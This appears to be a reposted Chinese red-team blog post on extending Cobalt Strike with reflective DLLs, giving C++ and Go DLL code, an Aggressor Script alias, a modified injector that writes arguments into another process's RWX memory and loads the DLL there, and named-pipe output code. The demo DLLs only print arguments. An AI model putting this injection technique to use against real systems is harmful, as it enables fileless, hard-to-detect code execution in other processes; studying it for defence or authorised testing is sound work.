利用ReflectiveDLL来武装你的Cobalt Strike

admin 2023年5月15日09:54:19评论22 views字数 7351阅读24分30秒阅读模式

前言

Cobalt Strike已经成了目前工作中经常用渗透工具了,通常我们会通过写一下插件来武装自己的Cobalt Strike,比如我们会用bexecute_assembly来对自己编写的Csharp进行内存加载实现不落地。那么其他语言的呢?同样也提供了bdllspawn[1]来反射DLL。本文章主要讲的就是利用反射DLL来武装自己的Cobalt Strike。

C++ ReflectiveDLL

首先将C/C++编写的程序如何进行ReflectiveDLL,Cobalt Strike的bdllspawn是基于项目ReflectiveDLLInjection[2]实现的。我们只需要把C++编写的功能写到ReflectiveDll.c里即可,这里参考倾旋[3]师傅的文章和工具。改写ReflectiveDll.c来实现传参。

参数转换

引用与定义

#include "ReflectiveLoader.h"#include <string>#include <shellapi.h>#pragma comment(lib, "Shell32.lib")
std::string szargs;std::wstring wszargs;std::wstring wsHostFile;int argc = 0;LPWSTR* argv = NULL;

参数类型转换

ReflectiveDll.c里是通过DLLMain函数的lpReserved来当做参数传递,我们可以做一个类型的转换,将lpReserved转换成命令行参数格式。

                szargs = (PCHAR)lpReserved;                wszargs = StringToWString(szargs);                argv = CommandLineToArgvW(wszargs.data(), &argc);

功能编写

在转换参数后,我们就可以把一些C++功能代码写入,我这就简单编写一个参数输出功能,进行测试。

            hAppInstance = hinstDLL;            printf("C++ ReflectiveDLLn");
/* print some output to the operator */ if (lpReserved != NULL) { szargs = (PCHAR)lpReserved; wszargs = StringToWString(szargs); argv = CommandLineToArgvW(wszargs.data(), &argc); } if (argv == NULL) { printf("[+] Error Arguments ! n"); break; } printf("[+] Args Count : %d n", argc); for (size_t i = 0; i < argc; i++) { wprintf(TEXT("[%d] %s n"), i, argv[i]); }
/* flush STDOUT */ fflush(stdout);
/* we're done, so let's exit */ ExitProcess(0); break;

Aggressor Script

编译ReflectiveDll.c得到一个dll文件,然后编写一个Aggressor Script脚本来加载它。

Aggressor Script脚本提供了一些关于反射DLL的接口:https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn

alias hello {    $args = substr($0, 6);    bdllspawn($1, script_resource("reflective_dll.dll"),$args, "test dll", 5000, false);}

测试效果

这样我们就实现了将c++编写的dll通过ReflectiveDll来实现不落地传参执行了。

利用ReflectiveDLL来武装你的Cobalt Strike

Golang ReflectiveDLL

Golang也成了现在一些安全工作者用得比较多的一种语言了,使用Golang开发的安全工具也越来越多,所以我们也可以通过ReflectiveDLL来对Golang程序进行利用。

这里参考WBGlIl[4]师傅的项目go-ReflectiveDLL[5]和国外大佬的文章Weaponizing your favorite Go program for Cobalt Strike[6]

特别感谢一下WBGlIl师傅,在我遇到问题的时候给予我的帮助~

main.go

参考WBGlIl师傅的项目,将main.go改成一个传入参数并输出参数的功能,并将test函数设置为导出函数。

package main
import "C"
import ( "fmt" "os" gsq "github.com/kballard/go-shellquote")


//export testfunc test(arg string) {
args, err := gsq.Split(arg) if err == nil { fmt.Println("Golang ReflectiveDLL") os.Args = args fmt.Printf("Args Count %dn",len(os.Args)) for i := 0; i < len(os.Args); i++ { fmt.Printf("[%d] %sn",i,os.Args[i]) } }}
func main() {
}

dllmain.c

参考老外文章将lpReserved转换为 GoString,传入到dll的导出函数test里。

#include "dllmain.h"#include<Windows.h>

BOOL WINAPI DllMain( HINSTANCE hinstDLL, // handle to DLL module DWORD fdwReason, // reason for calling function LPVOID lpReserved) // reserved{ switch (fdwReason) { case DLL_PROCESS_ATTACH: { GoString goArgs = {0}; if(lpReserved != NULL){ goArgs.p = (char*)lpReserved; goArgs.n = strlen(lpReserved); }else{ goArgs.p = ""; goArgs.n = 0; } test(goArgs); } break; case DLL_PROCESS_DETACH: // Perform any necessary cleanup. break; case DLL_THREAD_DETACH: // Do thread-specific cleanup. break; case DLL_THREAD_ATTACH: // Do thread-specific initialization. break; } return TRUE; // Successful.}

然后运行WBGlIl师傅的项目里的x64.bat来进行编译得到dll文件,但是Golang有一个最大的缺点就是编译出来的文件特别大,这里一个简单的输入输出工具生成的dll就有差不多2M。而在Cobalt Strike限制了反射DLL的DLL大小必须在1M以内,所以这里我们不能用Cobalt Strike进行测试。

Inject.c修改

ReflectiveDLLInjection项目中的inject是不能给DLL进行传参的,所以我们这里需要修改代码来进行传参。

注入当前进程

如果对当前进程进行注入可以修改代码,将输入参数传入到LoadRemoteLibraryR函数的第四个参数即可。

LPVOID lpParameter = argv[3];hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpParameter);

利用ReflectiveDLL来武装你的Cobalt Strike

注入到其他进程

如果注入到其他进程的话,需要将参数写入到目标进程得到一个参数指针,再讲这个指针传入LoadRemoteLibraryR函数。

        lpRemoteMem = arg;        // 申请内存        argSize = strlen(arg);        lpRemoteMem = VirtualAllocEx(hProcess, NULL, argSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);        if (!lpRemoteMem)        {            BREAK_WITH_ERROR("tt[!] FAILED to allocate memory in process.n");            CloseHandle(hProcess);            break;        }
printf("[+] Memory allocated at : 0x%d in process %dn", lpRemoteMem, dwProcessId); printf("[+] Attempting to write parameter in process %d n", dwProcessId);

//将参数写入目标进程 bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, arg, argSize, &numBytes);
if (!bWriteSuccess) { printf("[!] FAILED to write parameter. Wrote %d bytes instead of %d bytes.n ", numBytes ,argSize);
CloseHandle(hProcess); break; } printf("[+] Wrote parameter in remote process %d memory.n", dwProcessId);
//将参数指针传入 hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpRemoteMem); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.n", cpDllFile, dwProcessId);

因为这里是注入到了其他进程里,所以当前进程是没有输出的。如果需要输出的话,可以修改DLL文件和Inject.c,即当前进程和DLL注入的进程之间用命名管道进行通信。这里以C++写的DLL为例。

inject.c

        //接收
srand(time(NULL));
char buf[256] = ""; DWORD rlen = 0; HANDLE hPipe = CreateNamedPipe( TEXT("\\.\Pipe\mypipe"), //管道名 PIPE_ACCESS_DUPLEX, //管道类型 PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, //管道参数 PIPE_UNLIMITED_INSTANCES, //管道能创建的最大实例数量 0, //输出缓冲区长度 0表示默认 0, //输入缓冲区长度 0表示默认 NMPWAIT_WAIT_FOREVER, //超时时间 NULL); //指定一个SECURITY_ATTRIBUTES结构,或者传递零值. if (INVALID_HANDLE_VALUE == hPipe) { printf("[+] Create Pipe Error(%d)n", GetLastError()); } else { printf("[+] Create Pipe Successn"); printf("[+] Waiting For Client Connection...n"); if (ConnectNamedPipe(hPipe, NULL) == NULL) //阻塞等待客户端连接。 { printf("[+] Connection failed!n"); } else { printf("[+] Connection Success!n"); } printf("[+] Data From Pipe :nn"); while (1) { if (ReadFile(hPipe, buf, 256, &rlen, NULL)) //接受客户端发送过来的内容 { printf("t%s", buf); } else { printf("n[+] Read Data From Pipe End!n"); break; } } CloseHandle(hPipe);//关闭管道 }

ReflectiveDll.cpp

            //利用命名管道传输            srand(time(NULL));            DWORD wlen = 0;
BOOL bRet = WaitNamedPipe(TEXT("\\.\Pipe\mypipe"), NMPWAIT_WAIT_FOREVER);
if (!bRet) { printf("connect the namedPipe failed!n"); break; }
HANDLE hPipe = CreateFile( //管道属于一种特殊的文件 TEXT("\\.\Pipe\mypipe"), //创建的文件名 GENERIC_READ | GENERIC_WRITE, //文件模式 0, //是否共享 NULL, //指向一个SECURITY_ATTRIBUTES结构的指针 OPEN_EXISTING, //创建参数 FILE_ATTRIBUTE_NORMAL, //文件属性(隐藏,只读)NORMAL为默认属性 NULL); //模板创建文件的句柄

hAppInstance = hinstDLL; char buf[256] = ""; sprintf(buf, "C++ ReflectiveDLLn"); WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容
/* print some output to the operator */ if (lpReserved != NULL) { szargs = (PCHAR)lpReserved; wszargs = StringToWString(szargs); argv = CommandLineToArgvW(wszargs.data(), &argc); } else { sprintf(buf, "Hello from test.dll. There is no parametern"); WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容 } if (argv == NULL) { sprintf(buf, "[+] Error Arguments ! n"); WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容 break; } sprintf(buf, "[+] Args Count : %d n", argc); WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容 for (size_t i = 0; i < argc; i++) { sprintf(buf, "[%d] %s n", i, argv[i]); WriteFile(hPipe, buf, sizeof(buf), &wlen, 0); //向服务器发送内容 } CloseHandle(hPipe);//关闭管道
/* flush STDOUT */ fflush(stdout);
/* we're done, so let's exit */ ExitProcess(0);

这样就可以实现读取注入目标进程的输出了。

利用ReflectiveDLL来武装你的Cobalt Strike


示例代码

https://github.com/uknowsec/ReflectiveDLLInjection-Notes

结语

WBGlIl师傅的帮助下,学习了ReflectiveDLL。本意是想用于Cobalt Strike插件的开发,但是Golang编译后的文件过大,导致Cobalt Strike并不能进行加载反射。有请教过别的师傅如何解决这个问题,方案好像都必须得落地待反射的Golang DLL,效果并不是太好。同时在最近新发布的Cobalt Strike4.1中有了一个新功能Beacon Object File (BOF),他可以解决文件过大的问题。

在官方文档help-beacon-object-files[7]有如下的一段话:

BOFs are also very small. A UAC bypass privilege escalation Reflective DLL implementation may weigh in at 100KB+. The same exploit, built as a BOF, is <3KB. This can make a big difference when using bandwidth constrained channels, such as DNS.

所以现在就差一个Cobalt Strike4.1啦~

注:代码排版问题,请点击原文阅读

References

[1] bdllspawn: https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn
[2] ReflectiveDLLInjection: https://github.com/stephenfewer/ReflectiveDLLInjection
[3] 倾旋: https://payloads.online/archivers/2020-03-02/1
[4] WBGlIl: https://wbglil.github.io/
[5] go-ReflectiveDLL: https://github.com/WBGlIl/go-ReflectiveDLL
[6] Weaponizing your favorite Go program for Cobalt Strike: https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/
[7] help-beacon-object-files: https://www.cobaltstrike.com/help-beacon-object-files

原文始发于微信公众号(零队):利用ReflectiveDLL来武装你的Cobalt Strike

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日09:54:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用ReflectiveDLL来武装你的Cobalt Strikehttps://cn-sec.com/archives/922253.html

发表评论

匿名网友 填写信息